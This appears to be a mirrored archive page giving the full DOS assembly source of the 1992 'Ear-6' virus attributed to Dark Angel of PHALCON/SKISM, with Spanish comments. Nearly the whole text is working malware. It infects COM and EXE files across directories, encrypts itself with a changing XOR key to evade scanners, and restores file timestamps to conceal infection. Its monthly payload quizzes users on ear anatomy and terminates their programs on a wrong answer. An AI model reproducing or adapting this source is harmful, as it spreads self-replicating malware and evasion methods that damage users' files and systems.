mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
448 lines
16 KiB
NASM
448 lines
16 KiB
NASM
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
|
|||
|
longitud_del_virus = TerminaVir - EmpezarVir
|
|||
|
longitud_del_escribir = offset termina - offset escribir
|
|||
|
|
|||
|
id = 'GH' ; Representa el l<>der de
|
|||
|
; PHALCON/SKISM, Garbageheap
|
|||
|
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
|
|||
|
|
|||
|
EmpezarVir:
|
|||
|
shwing:
|
|||
|
remendar1:
|
|||
|
mov bx, offset EmpezarCifra
|
|||
|
remendar2:
|
|||
|
mov cx, ((longitud_del_virus + 1) / 2)
|
|||
|
hacia_atras: ; atr<74>s
|
|||
|
db 2eh
|
|||
|
remendar3:
|
|||
|
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
|
|||
|
add bx, 2
|
|||
|
loop hacia_atras
|
|||
|
EmpezarCifra:
|
|||
|
|
|||
|
call siguiente ; Es estupido, pero es corto
|
|||
|
siguiente:
|
|||
|
pop bp
|
|||
|
sub bp, offset siguiente
|
|||
|
|
|||
|
mov byte ptr [bp+numinf], 0
|
|||
|
|
|||
|
cld ; No es necessario, pero
|
|||
|
; <20>por qu<71> no?
|
|||
|
cmp sp, id
|
|||
|
jz SoyEXE
|
|||
|
SoyCOM: mov di, 100h
|
|||
|
push di
|
|||
|
lea si, [bp+Primer3]
|
|||
|
movsb
|
|||
|
jmp short SoyNada
|
|||
|
SoyEXE: push ds
|
|||
|
push es
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
|
|||
|
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
|
|||
|
lea si, [bp+EXE_Donde_JMP2] ; infectada
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
jmp short SoyNada
|
|||
|
|
|||
|
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl<67>s, <20>por supuesto!
|
|||
|
NombreDelAutor db 'Dark Angel',0
|
|||
|
|
|||
|
SoyNada:
|
|||
|
movsw
|
|||
|
|
|||
|
mov ah, 1ah ; Esindicece un DTA nuevo
|
|||
|
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
|
|||
|
int 21h ; el DTA original
|
|||
|
|
|||
|
mov ax, word ptr [bp+remendar1+1]
|
|||
|
mov word ptr [bp+tempo], ax
|
|||
|
|
|||
|
mov ah, 47h ; Obtiene el directorio
|
|||
|
xor dl, dl ; presente
|
|||
|
lea si, [bp+diroriginal]
|
|||
|
int 21h
|
|||
|
|
|||
|
looper:
|
|||
|
lea dx, [bp+offset mascara1] ; "m<>scara", no "mascara"
|
|||
|
call infectar_mascara ; pero no es possible usar
|
|||
|
; acentos en MASM/TASM.
|
|||
|
; <20>Qu<51> l<>stima!
|
|||
|
; mascara1 es '*.EXE',0
|
|||
|
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
|
|||
|
call infectar_mascara ; infecta las fichas de COM
|
|||
|
|
|||
|
cmp byte ptr [bp+numinf], 5 ; <20>Ha infectada cinco fichas?
|
|||
|
jg saltar ; Si es verdad, no necesita
|
|||
|
; busca m<>s fichas.
|
|||
|
mov ah, 3bh ; Cambia el directorio al
|
|||
|
lea dx, [bp+puntos] ; directorio anterior
|
|||
|
int 21h ; ('..', 'punto punto')
|
|||
|
jnc looper
|
|||
|
|
|||
|
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
|
|||
|
mov ah, 3bh ; directorio terminado.
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 2ah ; Activa el primer de
|
|||
|
int 21h ; cada mes
|
|||
|
cmp dl, 1 ; Si no es el primer,
|
|||
|
jnz saltarahora ; <20>saltar ahora! (duh-o)
|
|||
|
|
|||
|
mov ah, 2ch ; <20>Qu<51> hora es?
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp dl, 85 ; 85% probabilidad de
|
|||
|
jg saltarahora ; activaci<63>n
|
|||
|
|
|||
|
and dx, 7 ; Un n<>mero quasi-azado
|
|||
|
shl dl, 1 ; Usalo para determinar
|
|||
|
mov bx, bp ; que preguntar<61> la virus
|
|||
|
add bx, dx
|
|||
|
mov dx, word ptr [bx+indice] ; <20>ndice para el examencito
|
|||
|
add dx, bp
|
|||
|
inc dx
|
|||
|
push dx ; Salva el codo al pregunta
|
|||
|
|
|||
|
mov ah, 9 ; Escriba el primer parte de
|
|||
|
lea dx, [bp+mensaje] ; la pregunta
|
|||
|
int 21h
|
|||
|
|
|||
|
pop dx ; Escriba el parte de la oreja
|
|||
|
int 21h ; o el o<>do
|
|||
|
dec dx
|
|||
|
push dx ; Salva la respuesta correcta
|
|||
|
|
|||
|
lea dx, [bp+secciones] ; Escriba los secciones de la
|
|||
|
int 21h ; oreja y el o<>do
|
|||
|
|
|||
|
trataotrarespuesta:
|
|||
|
mov ah, 7 ; Obtiene la respuesta de la
|
|||
|
int 21h ; "v<>ctima"
|
|||
|
cmp al, '1' ; Necesita una respuesta de
|
|||
|
jl trataotrarespuesta ; uno hasta tres
|
|||
|
cmp al, '3' ; Renuncia otras respuestas
|
|||
|
jg trataotrarespuesta
|
|||
|
|
|||
|
int 29h ; Escriba la respuesta
|
|||
|
|
|||
|
pop bx ; El codo al respuesta
|
|||
|
; correcta
|
|||
|
mov ah, 9 ; Prepara a escribir un
|
|||
|
; mensaje
|
|||
|
cmp al, byte ptr [bx] ; <20>Es correcta?
|
|||
|
jz saltarapidamente ; <20>l aprueba el examencito.
|
|||
|
; Pues, salta r<>pidamente.
|
|||
|
lea dx, [bp+suspendido] ; Lo siento, pero <20>Ud. no
|
|||
|
int 21h ; aprueba el examencito f<>cil!
|
|||
|
|
|||
|
mov ah, 4ch ; Estudie m<>s y el programa
|
|||
|
jmp quite ; permitir<69> a Ud a continuar.
|
|||
|
|
|||
|
saltarapidamente:
|
|||
|
lea dx, [bp+aprueba]
|
|||
|
int 21h
|
|||
|
saltarahora:
|
|||
|
mov ah, 1ah ; Restaura el DTA original
|
|||
|
mov dx, 80h
|
|||
|
quite:
|
|||
|
cmp sp, id - 4 ; <20>Es EXE o COM?
|
|||
|
jz vuelvaEXE
|
|||
|
vuelvaCOM:
|
|||
|
int 21h ; Restaura el DTA y vuelva
|
|||
|
retn ; a la ficha original de COM
|
|||
|
|
|||
|
vuelvaEXE:
|
|||
|
pop es
|
|||
|
pop ds ; ds -> PSP
|
|||
|
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, es
|
|||
|
add ax, 10h ; Ajusta para el PSP
|
|||
|
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
|
|||
|
cli
|
|||
|
add ax, word ptr cs:[bp+PilaOriginal+2]
|
|||
|
mov ss, ax
|
|||
|
mov sp, word ptr cs:[bp+PilaOriginal]
|
|||
|
sti
|
|||
|
db 0eah ; JMP FAR PTR SEG:OFF
|
|||
|
EXE_Donde_JMP dd 0
|
|||
|
PilaOriginal dd 0
|
|||
|
|
|||
|
EXE_Donde_JMP2 dd 0
|
|||
|
PilaOriginal2 dd 0
|
|||
|
|
|||
|
infectar_mascara:
|
|||
|
mov ah, 4eh ; Busca la ficha primera
|
|||
|
mov cx, 7 ; Cada atributo
|
|||
|
brb_brb:
|
|||
|
int 21h
|
|||
|
jc hasta_la_vista_bebe ; No la busca
|
|||
|
|
|||
|
xor al, al
|
|||
|
call abrir ; Abre la ficha
|
|||
|
|
|||
|
mov ah, 3fh
|
|||
|
mov cx, 1ah
|
|||
|
lea dx, [bp+buffer]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 3eh ; Cierra la ficha
|
|||
|
int 21h
|
|||
|
|
|||
|
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
|
|||
|
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
|
|||
|
mov cx, 9 ; creaci<63>n
|
|||
|
rep movsb
|
|||
|
|
|||
|
cmp word ptr [bp+buffer], 'ZM' ; <20>Es EXE o COM?
|
|||
|
jz buscaEXE
|
|||
|
buscaCOM:
|
|||
|
mov ax, word ptr [bp+f_long] ; <20>Cuan grande es la ficha?
|
|||
|
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
|
|||
|
cmp ax, word ptr [bp+buffer+1] ; <20>Ya es infectada?
|
|||
|
jnz infecta_mi_burro ; "infect my ass"
|
|||
|
jmp short BuscaMas
|
|||
|
buscaEXE:
|
|||
|
cmp word ptr [bp+buffer+10h], id
|
|||
|
jnz infecta_mi_burro
|
|||
|
BuscaMas:
|
|||
|
mov ah, 4fh ; Busca otra ficha...
|
|||
|
jmp short brb_brb
|
|||
|
hasta_la_vista_bebe: ; <20>Le gusta Arnold?
|
|||
|
ret
|
|||
|
|
|||
|
infecta_mi_burro:
|
|||
|
; AX = longitud de la ficha infectada
|
|||
|
lea si, [bp+buffer]
|
|||
|
|
|||
|
cmp word ptr [si], 'ZM'
|
|||
|
jz InfectaEXE
|
|||
|
InfectaCOM:
|
|||
|
push ax
|
|||
|
|
|||
|
mov cx, word ptr [bp+tempo]
|
|||
|
mov word ptr [bp+remendar1+1], cx
|
|||
|
|
|||
|
lea di, [bp+Primer3]
|
|||
|
movsb
|
|||
|
push si
|
|||
|
movsw
|
|||
|
|
|||
|
mov byte ptr [bp+buffer], 0e9h
|
|||
|
pop di
|
|||
|
add ax, longitud_del_virus
|
|||
|
stosw
|
|||
|
|
|||
|
mov cx, 3
|
|||
|
jmp short TerminaInfeccion
|
|||
|
InfectaEXE:
|
|||
|
les ax, [si+14h] ; Salva el original empieza
|
|||
|
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
|
|||
|
mov word ptr [bp+EXE_Donde_JMP2+2], es
|
|||
|
|
|||
|
les ax, [si+0Eh] ; Salva la original locaci<63>n
|
|||
|
mov word ptr [bp+PilaOriginal2], es ; de la pila
|
|||
|
mov word ptr [bp+PilaOriginal2+2], ax
|
|||
|
|
|||
|
mov ax, word ptr [si + 8]
|
|||
|
mov cl, 4
|
|||
|
shl ax, cl
|
|||
|
xchg ax, bx
|
|||
|
|
|||
|
les ax, [bp+offset nuevoDTA+26]
|
|||
|
mov dx, es
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
|
|||
|
sub ax, bx
|
|||
|
sbb dx, 0
|
|||
|
|
|||
|
mov cx, 10h
|
|||
|
div cx
|
|||
|
|
|||
|
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
|
|||
|
mov word ptr [si+16h], ax
|
|||
|
|
|||
|
mov cl, 4
|
|||
|
shr dx, cl
|
|||
|
add ax, dx
|
|||
|
mov word ptr [si+0Eh], ax ; y SS:SP
|
|||
|
mov word ptr [si+10h], id
|
|||
|
|
|||
|
pop dx ; Restaura el magnitud de
|
|||
|
pop ax ; la ficha
|
|||
|
|
|||
|
add ax, longitud_del_virus ; A<>ada el magnitud del virus
|
|||
|
adc dx, 0
|
|||
|
mov cl, 9
|
|||
|
push ax
|
|||
|
shr ax, cl
|
|||
|
ror dx, cl
|
|||
|
stc
|
|||
|
adc dx, ax
|
|||
|
pop ax
|
|||
|
and ah, 1
|
|||
|
|
|||
|
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
|
|||
|
mov word ptr [si+2], ax
|
|||
|
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov ax, word ptr [si+14h]
|
|||
|
sub ax, longitud_del_virus + offset Empezarvir
|
|||
|
push ax
|
|||
|
|
|||
|
mov cx, 1ah
|
|||
|
TerminaInfeccion:
|
|||
|
mov al, 2
|
|||
|
call abrir
|
|||
|
|
|||
|
mov ah, 40h
|
|||
|
lea dx, [bp+buffer]
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax, 4202h
|
|||
|
xor cx, cx
|
|||
|
cwd ; xor dx,dx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 2ch ; N<>meros azados en CX y DX
|
|||
|
int 21h
|
|||
|
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n<>mero de la
|
|||
|
; cifra
|
|||
|
and cx, 31 ; Pone un n<>mero azado para el
|
|||
|
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
|
|||
|
; eso, los scanners necesitan
|
|||
|
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
|
|||
|
lea di, [bp+tempstore]
|
|||
|
mov al, 53h ; push bx
|
|||
|
stosb ; (no destruir el mango de la
|
|||
|
; ficha)
|
|||
|
lea si, [bp+shwing] ; Copia las instrucciones
|
|||
|
push si ; para formar la cifra
|
|||
|
mov cx, longitud_de_la_cifra
|
|||
|
push cx
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov al, 5bh ; pop bx
|
|||
|
stosb ; (recuerda mango de la ficha)
|
|||
|
|
|||
|
lea si, [bp+escribir] ; Copia las instrucciones
|
|||
|
mov cx, longitud_del_escribir ; para a<>ada el virus a la
|
|||
|
rep movsb ; ficha
|
|||
|
|
|||
|
mov al, 53h ; push bx
|
|||
|
stosb
|
|||
|
|
|||
|
pop cx ; Copia las instrucciones
|
|||
|
pop si ; para invalidar la cifra
|
|||
|
rep movsb
|
|||
|
mov ax, 0c35bh ; pop bx, retn
|
|||
|
stosw
|
|||
|
|
|||
|
pop ax
|
|||
|
|
|||
|
; Codo del comienzo de la cifra
|
|||
|
add ax, offset EmpezarCifra + longitud_del_virus
|
|||
|
mov word ptr [bp+remendar1+1], ax
|
|||
|
|
|||
|
call antes_del_tempstore
|
|||
|
|
|||
|
mov ax, 5701h ; BX = mango de la ficha
|
|||
|
mov dx, word ptr [bp+f_fecha]
|
|||
|
mov cx, word ptr [bp+f_hora]
|
|||
|
int 21h ; Restaura fecha y hora
|
|||
|
|
|||
|
mov ah, 3eh
|
|||
|
int 21h
|
|||
|
|
|||
|
xor ch, ch
|
|||
|
mov cl, byte ptr [bp+f_atrib]
|
|||
|
mov ax, 4301h
|
|||
|
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
|||
|
int 21h
|
|||
|
|
|||
|
inc byte ptr [bp+numinf]
|
|||
|
|
|||
|
jmp BuscaMas
|
|||
|
|
|||
|
Primer3 db 0CDh, 20h, 0
|
|||
|
puntos db '..',0
|
|||
|
mascara1 db '*.EXE',0
|
|||
|
mascara2 db '*.COM',0
|
|||
|
|
|||
|
abrir: mov ah, 3dh ; Abrir un ficha
|
|||
|
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
|||
|
int 21h ; el DTA
|
|||
|
xchg ax, bx
|
|||
|
ret
|
|||
|
|
|||
|
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
|||
|
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
|||
|
oreja1 db '1','Auditory Canal$'
|
|||
|
oreja2 db '1','Lobe$'
|
|||
|
oreja3 db '2','Anvil$'
|
|||
|
oreja4 db '2','Eustachian Tube$'
|
|||
|
oreja5 db '3','Auditory Nerve$'
|
|||
|
oreja6 db '3','Cochlea$'
|
|||
|
|
|||
|
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
|||
|
secciones db ' located?',13,10
|
|||
|
db ' 1. External Ear',13,10
|
|||
|
db ' 2. Middle Ear',13,10
|
|||
|
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
|||
|
|
|||
|
; No es bueno.
|
|||
|
suspendido db 13,10,'You obviously know nothing about ears.'
|
|||
|
db 13,10,'Try again after some study.',13,10,'$'
|
|||
|
|
|||
|
; <20>Espero que s<>!
|
|||
|
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
|||
|
db '$'
|
|||
|
|
|||
|
escribir:
|
|||
|
mov ah, 40h
|
|||
|
mov cx, TerminaVir - EmpezarVir
|
|||
|
lea dx, [bp+EmpezarVir]
|
|||
|
int 21h
|
|||
|
|
|||
|
termina:
|
|||
|
|
|||
|
backslash db '\'
|
|||
|
|
|||
|
TerminaVir = $
|
|||
|
|
|||
|
; Los que sigue son en el mont<6E>n...
|
|||
|
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
|||
|
|
|||
|
diroriginal db 64 dup (?)
|
|||
|
tempo dw ?
|
|||
|
nuevoDTA db 43 dup (?)
|
|||
|
numinf db ?
|
|||
|
antes_del_tempstore:
|
|||
|
; tempstore es el buffer para el parte del programa que a<>ada el virus al fin
|
|||
|
; de otro programa
|
|||
|
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
|
|||
|
; a<>ada cinco para los pop,
|
|||
|
; los push, y el retn
|
|||
|
buffer db 1ah dup (?)
|
|||
|
f_atrib db ? ; atributo de la ficha
|
|||
|
f_hora dw ? ; hora de creaci<63>n
|
|||
|
f_fecha dw ? ; fecha de creaci<63>n
|
|||
|
f_long dd ? ; magnitud de la ficha
|
|||
|
|
|||
|
end Empezar
|
|||
|
|